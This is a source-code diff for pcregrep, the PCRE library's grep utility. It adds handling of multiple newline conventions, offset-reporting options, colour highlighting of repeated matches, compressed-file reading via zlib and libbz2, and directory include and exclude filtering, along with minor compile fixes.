 /*************************************************
 *            OS-specific functions               *
 *************************************************/
@@ -231,7 +276,7 @@
 
 /************* Directory scanning in Unix ***********/
 
-#if IS_UNIX
+#if defined HAVE_SYS_STAT_H && defined HAVE_DIRENT_H && defined HAVE_SYS_TYPES_H
 #include <sys/types.h>
 #include <sys/stat.h>
 #include <dirent.h>
@@ -263,7 +308,7 @@
   if (strcmp(dent->d_name, ".") != 0 && strcmp(dent->d_name, "..") != 0)
     return dent->d_name;
   }
-return NULL;   /* Keep compiler happy; never executed */
+/* Control never reaches here */
 }
 
 static void
@@ -298,23 +343,25 @@
 
 /* I (Philip Hazel) have no means of testing this code. It was contributed by
 Lionel Fourquaux. David Burgess added a patch to define INVALID_FILE_ATTRIBUTES
-when it did not exist. */
+when it did not exist. David Byron added a patch that moved the #include of
+<windows.h> to before the INVALID_FILE_ATTRIBUTES definition rather than after.
+*/
 
+#elif HAVE_WINDOWS_H
 
-#elif HAVE_WIN32API
-
 #ifndef STRICT
 # define STRICT
 #endif
 #ifndef WIN32_LEAN_AND_MEAN
 # define WIN32_LEAN_AND_MEAN
 #endif
+
+#include <windows.h>
+
 #ifndef INVALID_FILE_ATTRIBUTES
 #define INVALID_FILE_ATTRIBUTES 0xFFFFFFFF
 #endif
 
-#include <windows.h>
-
 typedef struct directory_type
 {
 HANDLE handle;
@@ -399,7 +446,7 @@
 
 int isregfile(char *filename)
 {
-return !isdirectory(filename)
+return !isdirectory(filename);
 }
 
 
@@ -410,7 +457,7 @@
 static BOOL
 is_stdout_tty(void)
 {
-FALSE;
+return FALSE;
 }
 
 
@@ -423,8 +470,8 @@
 typedef void directory_type;
 
 int isdirectory(char *filename) { return 0; }
-directory_type * opendirectory(char *filename) {}
-char *readdirectory(directory_type *dir) {}
+directory_type * opendirectory(char *filename) { return (directory_type*)0;}
+char *readdirectory(directory_type *dir) { return (char*)0;}
 void closedirectory(directory_type *dir) {}
 
 
@@ -448,7 +495,7 @@
 
 
 
-#if ! HAVE_STRERROR
+#ifndef HAVE_STRERROR
 /*************************************************
 *     Provide strerror() for non-ANSI libraries  *
 *************************************************/
@@ -471,6 +518,271 @@
 
 
 /*************************************************
+*             Find end of line                   *
+*************************************************/
+
+/* The length of the endline sequence that is found is set via lenptr. This may
+be zero at the very end of the file if there is no line-ending sequence there.
+
+Arguments:
+  p         current position in line
+  endptr    end of available data
+  lenptr    where to put the length of the eol sequence
+
+Returns:    pointer to the last byte of the line
+*/
+
+static char *
+end_of_line(char *p, char *endptr, int *lenptr)
+{
+switch(endlinetype)
+  {
+  default:      /* Just in case */
+  case EL_LF:
+  while (p < endptr && *p != '\n') p++;
+  if (p < endptr)
+    {
+    *lenptr = 1;
+    return p + 1;
+    }
+  *lenptr = 0;
+  return endptr;
+
+  case EL_CR:
+  while (p < endptr && *p != '\r') p++;
+  if (p < endptr)
+    {
+    *lenptr = 1;
+    return p + 1;
+    }
+  *lenptr = 0;
+  return endptr;
+
+  case EL_CRLF:
+  for (;;)
+    {
+    while (p < endptr && *p != '\r') p++;
+    if (++p >= endptr)
+      {
+      *lenptr = 0;
+      return endptr;
+      }
+    if (*p == '\n')
+      {
+      *lenptr = 2;
+      return p + 1;
+      }
+    }
+  break;
+
+  case EL_ANYCRLF:
+  while (p < endptr)
+    {
+    int extra = 0;
+    register int c = *((unsigned char *)p);
+
+    if (utf8 && c >= 0xc0)
+      {
+      int gcii, gcss;
+      extra = utf8_table4[c & 0x3f];  /* Number of additional bytes */
+      gcss = 6*extra;
+      c = (c & utf8_table3[extra]) << gcss;
+      for (gcii = 1; gcii <= extra; gcii++)
+        {
+        gcss -= 6;
+        c |= (p[gcii] & 0x3f) << gcss;
+        }
+      }
+
+    p += 1 + extra;
+
+    switch (c)
+      {
+      case 0x0a:    /* LF */
+      *lenptr = 1;
+      return p;
+
+      case 0x0d:    /* CR */
+      if (p < endptr && *p == 0x0a)
+        {
+        *lenptr = 2;
+        p++;
+        }
+      else *lenptr = 1;
+      return p;
+
+      default:
+      break;
+      }
+    }   /* End of loop for ANYCRLF case */
+
+  *lenptr = 0;  /* Must have hit the end */
+  return endptr;
+
+  case EL_ANY:
+  while (p < endptr)
+    {
+    int extra = 0;
+    register int c = *((unsigned char *)p);
+
+    if (utf8 && c >= 0xc0)
+      {
+      int gcii, gcss;
+      extra = utf8_table4[c & 0x3f];  /* Number of additional bytes */
+      gcss = 6*extra;
+      c = (c & utf8_table3[extra]) << gcss;
+      for (gcii = 1; gcii <= extra; gcii++)
+        {
+        gcss -= 6;
+        c |= (p[gcii] & 0x3f) << gcss;
+        }
+      }
+
+    p += 1 + extra;
+
+    switch (c)
+      {
+      case 0x0a:    /* LF */
+      case 0x0b:    /* VT */
+      case 0x0c:    /* FF */
+      *lenptr = 1;
+      return p;
+
+      case 0x0d:    /* CR */
+      if (p < endptr && *p == 0x0a)
+        {
+        *lenptr = 2;
+        p++;
+        }
+      else *lenptr = 1;
+      return p;
+
+      case 0x85:    /* NEL */
+      *lenptr = utf8? 2 : 1;
+      return p;
+
+      case 0x2028:  /* LS */
+      case 0x2029:  /* PS */
+      *lenptr = 3;
+      return p;
+
+      default:
+      break;
+      }
+    }   /* End of loop for ANY case */
+
+  *lenptr = 0;  /* Must have hit the end */
+  return endptr;
+  }     /* End of overall switch */
+}
+
+
+
+/*************************************************
+*         Find start of previous line            *
+*************************************************/
+
+/* This is called when looking back for before lines to print.
+
+Arguments:
+  p         start of the subsequent line
+  startptr  start of available data
+
+Returns:    pointer to the start of the previous line
+*/
+
+static char *
+previous_line(char *p, char *startptr)
+{
+switch(endlinetype)
+  {
+  default:      /* Just in case */
+  case EL_LF:
+  p--;
+  while (p > startptr && p[-1] != '\n') p--;
+  return p;
+
+  case EL_CR:
+  p--;
+  while (p > startptr && p[-1] != '\n') p--;
+  return p;
+
+  case EL_CRLF:
+  for (;;)
+    {
+    p -= 2;
+    while (p > startptr && p[-1] != '\n') p--;
+    if (p <= startptr + 1 || p[-2] == '\r') return p;
+    }
+  return p;   /* But control should never get here */
+
+  case EL_ANY:
+  case EL_ANYCRLF:
+  if (*(--p) == '\n' && p > startptr && p[-1] == '\r') p--;
+  if (utf8) while ((*p & 0xc0) == 0x80) p--;
+
+  while (p > startptr)
+    {
+    register int c;
+    char *pp = p - 1;
+
+    if (utf8)
+      {
+      int extra = 0;
+      while ((*pp & 0xc0) == 0x80) pp--;
+      c = *((unsigned char *)pp);
+      if (c >= 0xc0)
+        {
+        int gcii, gcss;
+        extra = utf8_table4[c & 0x3f];  /* Number of additional bytes */
+        gcss = 6*extra;
+        c = (c & utf8_table3[extra]) << gcss;
+        for (gcii = 1; gcii <= extra; gcii++)
+          {
+          gcss -= 6;
+          c |= (pp[gcii] & 0x3f) << gcss;
+          }
+        }
+      }
+    else c = *((unsigned char *)pp);
+
+    if (endlinetype == EL_ANYCRLF) switch (c)
+      {
+      case 0x0a:    /* LF */
+      case 0x0d:    /* CR */
+      return p;
+
+      default:
+      break;
+      }
+
+    else switch (c)
+      {
+      case 0x0a:    /* LF */
+      case 0x0b:    /* VT */
+      case 0x0c:    /* FF */
+      case 0x0d:    /* CR */
+      case 0x85:    /* NEL */
+      case 0x2028:  /* LS */
+      case 0x2029:  /* PS */
+      return p;
+
+      default:
+      break;
+      }
+
+    p = pp;  /* Back one character */
+    }        /* End of loop for ANY case */
+
+  return startptr;  /* Hit start of data */
+  }     /* End of overall switch */
+}
+
+
+
+
+
+/*************************************************
 *       Print the previous "after" lines         *
 *************************************************/
 
@@ -495,13 +807,13 @@
   int count = 0;
   while (lastmatchrestart < endptr && count++ < after_context)
     {
+    int ellength;
     char *pp = lastmatchrestart;
     if (printname != NULL) fprintf(stdout, "%s-", printname);
     if (number) fprintf(stdout, "%d-", lastmatchnumber++);
-    while (*pp != endlinebyte) pp++;
-    fwrite(lastmatchrestart, 1, pp - lastmatchrestart + (1 + endlineextra),
-      stdout);
-    lastmatchrestart = pp + 1;
+    pp = end_of_line(pp, endptr, &ellength);
+    fwrite(lastmatchrestart, 1, pp - lastmatchrestart, stdout);
+    lastmatchrestart = pp;
     }
   hyphenpending = TRUE;
   }
@@ -510,6 +822,60 @@
 
 
 /*************************************************
+*   Apply patterns to subject till one matches   *
+*************************************************/
+
+/* This function is called to run through all patterns, looking for a match. It
+is used multiple times for the same subject when colouring is enabled, in order
+to find all possible matches.
+
+Arguments:
+  matchptr    the start of the subject
+  length      the length of the subject to match
+  offsets     the offets vector to fill in
+  mrc         address of where to put the result of pcre_exec()
+
+Returns:      TRUE if there was a match
+              FALSE if there was no match
+              invert if there was a non-fatal error
+*/
+
+static BOOL
+match_patterns(char *matchptr, size_t length, int *offsets, int *mrc)
+{
+int i;
+for (i = 0; i < pattern_count; i++)
+  {
+  *mrc = pcre_exec(pattern_list[i], hints_list[i], matchptr, length, 0,
+    PCRE_NOTEMPTY, offsets, OFFSET_SIZE);
+  if (*mrc >= 0) return TRUE;
+  if (*mrc == PCRE_ERROR_NOMATCH) continue;
+  fprintf(stderr, "pcregrep: pcre_exec() error %d while matching ", *mrc);
+  if (pattern_count > 1) fprintf(stderr, "pattern number %d to ", i+1);
+  fprintf(stderr, "this text:\n");
+  fwrite(matchptr, 1, length, stderr);  /* In case binary zero included */
+  fprintf(stderr, "\n");
+  if (error_count == 0 &&
+      (*mrc == PCRE_ERROR_MATCHLIMIT || *mrc == PCRE_ERROR_RECURSIONLIMIT))
+    {
+    fprintf(stderr, "pcregrep: error %d means that a resource limit "
+      "was exceeded\n", *mrc);
+    fprintf(stderr, "pcregrep: check your regex for nested unlimited loops\n");
+    }
+  if (error_count++ > 20)
+    {
+    fprintf(stderr, "pcregrep: too many errors - abandoned\n");
+    exit(2);
+    }
+  return invert;    /* No more matching; don't show the line again */
+  }
+
+return FALSE;  /* No match, no errors */
+}
+
+
+
+/*************************************************
 *            Grep an individual file             *
 *************************************************/
 
@@ -521,34 +887,74 @@
 "before" context printing.
 
 Arguments:
-  in           the fopened FILE stream
+  handle       the fopened FILE stream for a normal file
+               the gzFile pointer when reading is via libz
+               the BZFILE pointer when reading is via libbz2
+  frtype       FR_PLAIN, FR_LIBZ, or FR_LIBBZ2
   printname    the file name if it is to be printed for each match
                or NULL if the file name is not to be printed
                it cannot be NULL if filenames[_nomatch]_only is set
 
 Returns:       0 if there was at least one match
                1 otherwise (no matches)
+               2 if there is a read error on a .bz2 file
 */
 
 static int
-pcregrep(FILE *in, char *printname)
+pcregrep(void *handle, int frtype, char *printname)
 {
 int rc = 1;
 int linenumber = 1;
 int lastmatchnumber = 0;
 int count = 0;
-int offsets[99];
+int filepos = 0;
+int offsets[OFFSET_SIZE];
 char *lastmatchrestart = NULL;
 char buffer[3*MBUFTHIRD];
 char *ptr = buffer;
 char *endptr;
 size_t bufflength;
 BOOL endhyphenpending = FALSE;
+FILE *in = NULL;                    /* Ensure initialized */
 
-/* Do the first read into the start of the buffer and set up the pointer to
-end of what we have. */
+#ifdef SUPPORT_LIBZ
+gzFile ingz = NULL;
+#endif
 
-bufflength = fread(buffer, 1, 3*MBUFTHIRD, in);
+#ifdef SUPPORT_LIBBZ2
+BZFILE *inbz2 = NULL;
+#endif
+
+
+/* Do the first read into the start of the buffer and set up the pointer to end
+of what we have. In the case of libz, a non-zipped .gz file will be read as a
+plain file. However, if a .bz2 file isn't actually bzipped, the first read will
+fail. */
+
+#ifdef SUPPORT_LIBZ
+if (frtype == FR_LIBZ)
+  {
+  ingz = (gzFile)handle;
+  bufflength = gzread (ingz, buffer, 3*MBUFTHIRD);
+  }
+else
+#endif
+
+#ifdef SUPPORT_LIBBZ2
+if (frtype == FR_LIBBZ2)
+  {
+  inbz2 = (BZFILE *)handle;
+  bufflength = BZ2_bzread(inbz2, buffer, 3*MBUFTHIRD);
+  if ((int)bufflength < 0) return 2;   /* Gotcha: bufflength is size_t; */
+  }                                    /* without the cast it is unsigned. */
+else
+#endif
+
+  {
+  in = (FILE *)handle;
+  bufflength = fread(buffer, 1, 3*MBUFTHIRD, in);
+  }
+
 endptr = buffer + bufflength;
 
 /* Loop while the current pointer is not at the end of the file. For large
@@ -558,24 +964,25 @@
 
 while (ptr < endptr)
   {
-  int i;
+  int endlinelength;
   int mrc = 0;
-  BOOL match = FALSE;
+  BOOL match;
+  char *matchptr = ptr;
   char *t = ptr;
   size_t length, linelength;
 
   /* At this point, ptr is at the start of a line. We need to find the length
   of the subject string to pass to pcre_exec(). In multiline mode, it is the
   length remainder of the data in the buffer. Otherwise, it is the length of
-  the next line. After matching, we always advance by the length of the next
-  line. In multiline mode the PCRE_FIRSTLINE option is used for compiling, so
-  that any match is constrained to be in the first line. */
+  the next line, excluding the terminating newline. After matching, we always
+  advance by the length of the next line. In multiline mode the PCRE_FIRSTLINE
+  option is used for compiling, so that any match is constrained to be in the
+  first line. */
 
-  linelength = 0;
-  while (t < endptr && *t++ != endlinebyte) linelength++;
-  length = multiline? endptr - ptr : linelength;
+  t = end_of_line(t, endptr, &endlinelength);
+  linelength = t - ptr - endlinelength;
+  length = multiline? (size_t)(endptr - ptr) : linelength;
 
-
   /* Extra processing for Jeffrey Friedl's debugging. */
 
 #ifdef JFRIEDL_DEBUG
@@ -585,6 +992,7 @@
       #include <time.h>
       struct timeval start_time, end_time;
       struct timezone dummy;
+      int i;
 
       if (jfriedl_XT)
       {
@@ -610,7 +1018,8 @@
 
 
       for (i = 0; i < jfriedl_XR; i++)
-          match = (pcre_exec(pattern_list[0], hints_list[0], ptr, length, 0, 0, offsets, 99) >= 0);
+          match = (pcre_exec(pattern_list[0], hints_list[0], ptr, length, 0,
+              PCRE_NOTEMPTY, offsets, OFFSET_SIZE) >= 0);
 
       if (gettimeofday(&end_time, &dummy) != 0)
               perror("bad gettimeofday");
@@ -624,39 +1033,17 @@
   }
 #endif
 
+  /* We come back here after a match when the -o option (only_matching) is set,
+  in order to find any further matches in the same line. */
 
-  /* Run through all the patterns until one matches. Note that we don't include
-  the final newline in the subject string. */
+  ONLY_MATCHING_RESTART:
 
-  for (i = 0; i < pattern_count; i++)
-    {
-    mrc = pcre_exec(pattern_list[i], hints_list[i], ptr, length, 0, 0,
-      offsets, 99);
-    if (mrc >= 0) { match = TRUE; break; }
-    if (mrc != PCRE_ERROR_NOMATCH)
-      {
-      fprintf(stderr, "pcregrep: pcre_exec() error %d while matching ", mrc);
-      if (pattern_count > 1) fprintf(stderr, "pattern number %d to ", i+1);
-      fprintf(stderr, "this line:\n");
-      fwrite(ptr, 1, linelength, stderr);   /* In case binary zero included */
-      fprintf(stderr, "\n");
-      if (error_count == 0 &&
-          (mrc == PCRE_ERROR_MATCHLIMIT || mrc == PCRE_ERROR_RECURSIONLIMIT))
-        {
-        fprintf(stderr, "pcregrep: error %d means that a resource limit "
-          "was exceeded\n", mrc);
-        fprintf(stderr, "pcregrep: check your regex for nested unlimited loops\n");
-        }
-      if (error_count++ > 20)
-        {
-        fprintf(stderr, "pcregrep: too many errors - abandoned\n");
-        exit(2);
-        }
-      match = invert;    /* No more matching; don't show the line again */
-      break;
-      }
-    }
+  /* Run through all the patterns until one matches or there is an error other
+  than NOMATCH. This code is in a subroutine so that it can be re-used for
+  finding subsequent matches when colouring matched lines. */
 
+  match = match_patterns(matchptr, length, offsets, &mrc);
+
   /* If it's a match or a not-match (as required), do what's wanted. */
 
   if (match != invert)
@@ -685,14 +1072,37 @@
     else if (quiet) return 0;
 
     /* The --only-matching option prints just the substring that matched, and
-    does not pring any context. */
+    the --file-offsets and --line-offsets options output offsets for the
+    matching substring (they both force --only-matching). None of these options
+    prints any context. Afterwards, adjust the start and length, and then jump
+    back to look for further matches in the same line. If we are in invert
+    mode, however, nothing is printed - this could be still useful because the
+    return code is set. */
 
     else if (only_matching)
       {
-      if (printname != NULL) fprintf(stdout, "%s:", printname);
-      if (number) fprintf(stdout, "%d:", linenumber);
-      fwrite(ptr + offsets[0], 1, offsets[1] - offsets[0], stdout);
-      fprintf(stdout, "\n");
+      if (!invert)
+        {
+        if (printname != NULL) fprintf(stdout, "%s:", printname);
+        if (number) fprintf(stdout, "%d:", linenumber);
+        if (line_offsets)
+          fprintf(stdout, "%d,%d", (int)(matchptr + offsets[0] - ptr),
+            offsets[1] - offsets[0]);
+        else if (file_offsets)
+          fprintf(stdout, "%d,%d", (int)(filepos + matchptr + offsets[0] - ptr),
+            offsets[1] - offsets[0]);
+        else
+          {
+          if (do_colour) fprintf(stdout, "%c[%sm", 0x1b, colour_string);
+          fwrite(matchptr + offsets[0], 1, offsets[1] - offsets[0], stdout);
+          if (do_colour) fprintf(stdout, "%c[00m", 0x1b);
+          }
+        fprintf(stdout, "\n");
+        matchptr += offsets[1];
+        length -= offsets[1];
+        match = FALSE;
+        goto ONLY_MATCHING_RESTART;
+        }
       }
 
     /* This is the default case when none of the above options is set. We print
@@ -706,13 +1116,13 @@
 
       if (after_context > 0 && lastmatchnumber > 0)
         {
+        int ellength;
         int linecount = 0;
         char *p = lastmatchrestart;
 
         while (p < ptr && linecount < after_context)
           {
-          while (*p != endlinebyte) p++;
-          p++;
+          p = end_of_line(p, ptr, &ellength);
           linecount++;
           }
 
@@ -725,10 +1135,9 @@
           char *pp = lastmatchrestart;
           if (printname != NULL) fprintf(stdout, "%s-", printname);
           if (number) fprintf(stdout, "%d-", lastmatchnumber++);
-          while (*pp != endlinebyte) pp++;
-          fwrite(lastmatchrestart, 1, pp - lastmatchrestart +
-            (1 + endlineextra), stdout);
-          lastmatchrestart = pp + 1;
+          pp = end_of_line(pp, endptr, &ellength);
+          fwrite(lastmatchrestart, 1, pp - lastmatchrestart, stdout);
+          lastmatchrestart = pp;
           }
         if (lastmatchrestart != ptr) hyphenpending = TRUE;
         }
@@ -754,8 +1163,7 @@
                linecount < before_context)
           {
           linecount++;
-          p--;
-          while (p > buffer && p[-1] != endlinebyte) p--;
+          p = previous_line(p, buffer);
           }
 
         if (lastmatchnumber > 0 && p > lastmatchrestart && !hyphenprinted)
@@ -763,12 +1171,13 @@
 
         while (p < ptr)
           {
+          int ellength;
           char *pp = p;
           if (printname != NULL) fprintf(stdout, "%s-", printname);
           if (number) fprintf(stdout, "%d-", linenumber - linecount--);
-          while (*pp != endlinebyte) pp++;
-          fwrite(p, 1, pp - p + (1 + endlineextra), stdout);
-          p = pp + 1;
+          pp = end_of_line(pp, endptr, &ellength);
+          fwrite(p, 1, pp - p, stdout);
+          p = pp;
           }
         }
 
@@ -783,16 +1192,26 @@
 
       /* In multiline mode, we want to print to the end of the line in which
       the end of the matched string is found, so we adjust linelength and the
-      line number appropriately. Because the PCRE_FIRSTLINE option is set, the
-      start of the match will always be before the first newline sequence. */
+      line number appropriately, but only when there actually was a match
+      (invert not set). Because the PCRE_FIRSTLINE option is set, the start of
+      the match will always be before the first newline sequence. */
 
       if (multiline)
         {
-        char *endmatch = ptr + offsets[1];
-        t = ptr;
-        while (t < endmatch) { if (*t++ == endlinebyte) linenumber++; }
-        while (endmatch < endptr && *endmatch != endlinebyte) endmatch++;
-        linelength = endmatch - ptr;
+        int ellength;
+        char *endmatch = ptr;
+        if (!invert)
+          {
+          endmatch += offsets[1];
+          t = ptr;
+          while (t < endmatch)
+            {
+            t = end_of_line(t, endptr, &ellength);
+            if (t <= endmatch) linenumber++; else break;
+            }
+          }
+        endmatch = end_of_line(endmatch, endptr, &ellength);
+        linelength = endmatch - ptr - ellength;
         }
 
       /*** NOTE: Use only fwrite() to output the data line, so that binary
@@ -814,19 +1233,34 @@
       else
 #endif
 
-      /* We have to split the line(s) up if colouring. */
+      /* We have to split the line(s) up if colouring, and search for further
+      matches. */
 
       if (do_colour)
         {
+        int last_offset = 0;
         fwrite(ptr, 1, offsets[0], stdout);
         fprintf(stdout, "%c[%sm", 0x1b, colour_string);
         fwrite(ptr + offsets[0], 1, offsets[1] - offsets[0], stdout);
         fprintf(stdout, "%c[00m", 0x1b);
-        fwrite(ptr + offsets[1], 1, linelength - offsets[1], stdout);
+        for (;;)
+          {
+          last_offset += offsets[1];
+          matchptr += offsets[1];
+          length -= offsets[1];
+          if (!match_patterns(matchptr, length, offsets, &mrc)) break;
+          fwrite(matchptr, 1, offsets[0], stdout);
+          fprintf(stdout, "%c[%sm", 0x1b, colour_string);
+          fwrite(matchptr + offsets[0], 1, offsets[1] - offsets[0], stdout);
+          fprintf(stdout, "%c[00m", 0x1b);
+          }
+        fwrite(ptr + last_offset, 1, (linelength + endlinelength) - last_offset,
+          stdout);
         }
-      else fwrite(ptr, 1, linelength, stdout);
 
-      fprintf(stdout, "\n");
+      /* Not colouring; no need to search for further matches */
+
+      else fwrite(ptr, 1, linelength + endlinelength, stdout);
       }
 
     /* End of doing what has to be done for a match */
@@ -836,13 +1270,33 @@
     /* Remember where the last match happened for after_context. We remember
     where we are about to restart, and that line's number. */
 
-    lastmatchrestart = ptr + linelength + 1;
+    lastmatchrestart = ptr + linelength + endlinelength;
     lastmatchnumber = linenumber + 1;
     }
 
-  /* Advance to after the newline and increment the line number. */
+  /* For a match in multiline inverted mode (which of course did not cause
+  anything to be printed), we have to move on to the end of the match before
+  proceeding. */
 
-  ptr += linelength + 1;
+  if (multiline && invert && match)
+    {
+    int ellength;
+    char *endmatch = ptr + offsets[1];
+    t = ptr;
+    while (t < endmatch)
+      {
+      t = end_of_line(t, endptr, &ellength);
+      if (t <= endmatch) linenumber++; else break;
+      }
+    endmatch = end_of_line(endmatch, endptr, &ellength);
+    linelength = endmatch - ptr - ellength;
+    }
+
+  /* Advance to after the newline and increment the line number. The file
+  offset to the current line is maintained in filepos. */
+
+  ptr += linelength + endlinelength;
+  filepos += linelength + endlinelength;
   linenumber++;
 
   /* If we haven't yet reached the end of the file (the buffer is full), and
@@ -864,7 +1318,23 @@
 
     memmove(buffer, buffer + MBUFTHIRD, 2*MBUFTHIRD);
     ptr -= MBUFTHIRD;
+
+#ifdef SUPPORT_LIBZ
+    if (frtype == FR_LIBZ)
+      bufflength = 2*MBUFTHIRD +
+        gzread (ingz, buffer + 2*MBUFTHIRD, MBUFTHIRD);
+    else
+#endif
+
+#ifdef SUPPORT_LIBBZ2
+    if (frtype == FR_LIBBZ2)
+      bufflength = 2*MBUFTHIRD +
+        BZ2_bzread(inbz2, buffer + 2*MBUFTHIRD, MBUFTHIRD);
+    else
+#endif
+
     bufflength = 2*MBUFTHIRD + fread(buffer + 2*MBUFTHIRD, 1, MBUFTHIRD, in);
+
     endptr = buffer + bufflength;
 
     /* Adjust any last match point */
@@ -928,21 +1398,32 @@
 {
 int rc = 1;
 int sep;
-FILE *in;
+int frtype;
+int pathlen;
+void *handle;
+FILE *in = NULL;           /* Ensure initialized */
 
+#ifdef SUPPORT_LIBZ
+gzFile ingz = NULL;
+#endif
+
+#ifdef SUPPORT_LIBBZ2
+BZFILE *inbz2 = NULL;
+#endif
+
 /* If the file name is "-" we scan stdin */
 
 if (strcmp(pathname, "-") == 0)
   {
-  return pcregrep(stdin,
+  return pcregrep(stdin, FR_PLAIN,
     (filenames > FN_DEFAULT || (filenames == FN_DEFAULT && !only_one_at_top))?
       stdin_name : NULL);
   }
 
-
 /* If the file is a directory, skip if skipping or if we are recursing, scan
-each file within it, subject to any include or exclude patterns that were set.
-The scanning code is localized so it can be made system-specific. */
+each file and directory within it, subject to any include or exclude patterns
+that were set. The scanning code is localized so it can be made
+system-specific. */
 
 if ((sep = isdirectory(pathname)) != 0)
   {
@@ -963,18 +1444,31 @@
 
     while ((nextfile = readdirectory(dir)) != NULL)
       {
-      int frc, blen;
+      int frc, nflen;
       sprintf(buffer, "%.512s%c%.128s", pathname, sep, nextfile);
-      blen = strlen(buffer);
+      nflen = strlen(nextfile);
 
-      if (exclude_compiled != NULL &&
-          pcre_exec(exclude_compiled, NULL, buffer, blen, 0, 0, NULL, 0) >= 0)
-        continue;
+      if (isdirectory(buffer))
+        {
+        if (exclude_dir_compiled != NULL &&
+            pcre_exec(exclude_dir_compiled, NULL, nextfile, nflen, 0, 0, NULL, 0) >= 0)
+          continue;
 
-      if (include_compiled != NULL &&
-          pcre_exec(include_compiled, NULL, buffer, blen, 0, 0, NULL, 0) < 0)
-        continue;
+        if (include_dir_compiled != NULL &&
+            pcre_exec(include_dir_compiled, NULL, nextfile, nflen, 0, 0, NULL, 0) < 0)
+          continue;
+        }
+      else
+        {
+        if (exclude_compiled != NULL &&
+            pcre_exec(exclude_compiled, NULL, nextfile, nflen, 0, 0, NULL, 0) >= 0)
+          continue;
 
+        if (include_compiled != NULL &&
+            pcre_exec(include_compiled, NULL, nextfile, nflen, 0, 0, NULL, 0) < 0)
+          continue;
+        }
+
       frc = grep_or_recurse(buffer, dir_recurse, FALSE);
       if (frc > 1) rc = frc;
        else if (frc == 0 && rc == 1) rc = 0;
@@ -996,19 +1490,105 @@
 argument at top level, we don't show the file name, unless we are only showing
 the file name, or the filename was forced (-H). */
 
-in = fopen(pathname, "r");
-if (in == NULL)
+pathlen = strlen(pathname);
+
+/* Open using zlib if it is supported and the file name ends with .gz. */
+
+#ifdef SUPPORT_LIBZ
+if (pathlen > 3 && strcmp(pathname + pathlen - 3, ".gz") == 0)
   {
+  ingz = gzopen(pathname, "rb");
+  if (ingz == NULL)
+    {
+    if (!silent)
+      fprintf(stderr, "pcregrep: Failed to open %s: %s\n", pathname,
+        strerror(errno));
+    return 2;
+    }
+  handle = (void *)ingz;
+  frtype = FR_LIBZ;
+  }
+else
+#endif
+
+/* Otherwise open with bz2lib if it is supported and the name ends with .bz2. */
+
+#ifdef SUPPORT_LIBBZ2
+if (pathlen > 4 && strcmp(pathname + pathlen - 4, ".bz2") == 0)
+  {
+  inbz2 = BZ2_bzopen(pathname, "rb");
+  handle = (void *)inbz2;
+  frtype = FR_LIBBZ2;
+  }
+else
+#endif
+
+/* Otherwise use plain fopen(). The label is so that we can come back here if
+an attempt to read a .bz2 file indicates that it really is a plain file. */
+
+#ifdef SUPPORT_LIBBZ2
+PLAIN_FILE:
+#endif
+  {
+  in = fopen(pathname, "r");
+  handle = (void *)in;
+  frtype = FR_PLAIN;
+  }
+
+/* All the opening methods return errno when they fail. */
+
+if (handle == NULL)
+  {
   if (!silent)
     fprintf(stderr, "pcregrep: Failed to open %s: %s\n", pathname,
       strerror(errno));
   return 2;
   }
 
-rc = pcregrep(in, (filenames > FN_DEFAULT ||
+/* Now grep the file */
+
+rc = pcregrep(handle, frtype, (filenames > FN_DEFAULT ||
   (filenames == FN_DEFAULT && !only_one_at_top))? pathname : NULL);
 
+/* Close in an appropriate manner. */
+
+#ifdef SUPPORT_LIBZ
+if (frtype == FR_LIBZ)
+  gzclose(ingz);
+else
+#endif
+
+/* If it is a .bz2 file and the result is 2, it means that the first attempt to
+read failed. If the error indicates that the file isn't in fact bzipped, try
+again as a normal file. */
+
+#ifdef SUPPORT_LIBBZ2
+if (frtype == FR_LIBBZ2)
+  {
+  if (rc == 2)
+    {
+    int errnum;
+    const char *err = BZ2_bzerror(inbz2, &errnum);
+    if (errnum == BZ_DATA_ERROR_MAGIC)
+      {
+      BZ2_bzclose(inbz2);
+      goto PLAIN_FILE;
+      }
+    else if (!silent)
+      fprintf(stderr, "pcregrep: Failed to read %s using bzlib: %s\n",
+        pathname, err);
+    }
+  BZ2_bzclose(inbz2);
+  }
+else
+#endif
+
+/* Normal file close */
+
 fclose(in);
+
+/* Pass back the yield from pcregrep(). */
+
 return rc;
 }
 
@@ -1029,7 +1609,8 @@
   if (op->one_char > 0) fprintf(stderr, "%c", op->one_char);
   }
 fprintf(stderr, "] [long options] [pattern] [files]\n");
-fprintf(stderr, "Type `pcregrep --help' for more information.\n");
+fprintf(stderr, "Type `pcregrep --help' for more information and the long "
+  "options.\n");
 return rc;
 }
 
@@ -1048,9 +1629,23 @@
 printf("Usage: pcregrep [OPTION]... [PATTERN] [FILE1 FILE2 ...]\n");
 printf("Search for PATTERN in each FILE or standard input.\n");
 printf("PATTERN must be present if neither -e nor -f is used.\n");
-printf("\"-\" can be used as a file name to mean STDIN.\n\n");
+printf("\"-\" can be used as a file name to mean STDIN.\n");
+
+#ifdef SUPPORT_LIBZ
+printf("Files whose names end in .gz are read using zlib.\n");
+#endif
+
+#ifdef SUPPORT_LIBBZ2
+printf("Files whose names end in .bz2 are read using bzlib2.\n");
+#endif
+
+#if defined SUPPORT_LIBZ || defined SUPPORT_LIBBZ2
+printf("Other files and the standard input are read as plain files.\n\n");
+#else
+printf("All files are read as plain files, without any interpretation.\n\n");
+#endif
+
 printf("Example: pcregrep -i 'hello.*world' menu.h main.c\n\n");
-
 printf("Options:\n");
 
 for (op = optionlist; op->one_char != 0; op++)
@@ -1058,8 +1653,7 @@
   int n;
   char s[4];
   if (op->one_char > 0) sprintf(s, "-%c,", op->one_char); else strcpy(s, "   ");
-  printf("  %s --%s%n", s, op->long_name, &n);
-  n = 30 - n;
+  n = 30 - printf("  %s --%s", s, op->long_name);
   if (n < 1) n = 1;
   printf("%.*s%s\n", n, "                    ", op->help_text);
   }
@@ -1084,7 +1678,9 @@
 {
 switch(letter)
   {
+  case N_FOFFSETS: file_offsets = TRUE; break;
   case N_HELP: help(); exit(0);
+  case N_LOFFSETS: line_offsets = number = TRUE; break;
   case 'c': count_only = TRUE; break;
   case 'F': process_options |= PO_FIXED_STRINGS; break;
   case 'H': filenames = FN_FORCE; break;
@@ -1098,14 +1694,13 @@
   case 'q': quiet = TRUE; break;
   case 'r': dee_action = dee_RECURSE; break;
   case 's': silent = TRUE; break;
-  case 'u': options |= PCRE_UTF8; break;
+  case 'u': options |= PCRE_UTF8; utf8 = TRUE; break;
   case 'v': invert = TRUE; break;
   case 'w': process_options |= PO_WORD_MATCH; break;
   case 'x': process_options |= PO_LINE_MATCH; break;
 
   case 'V':
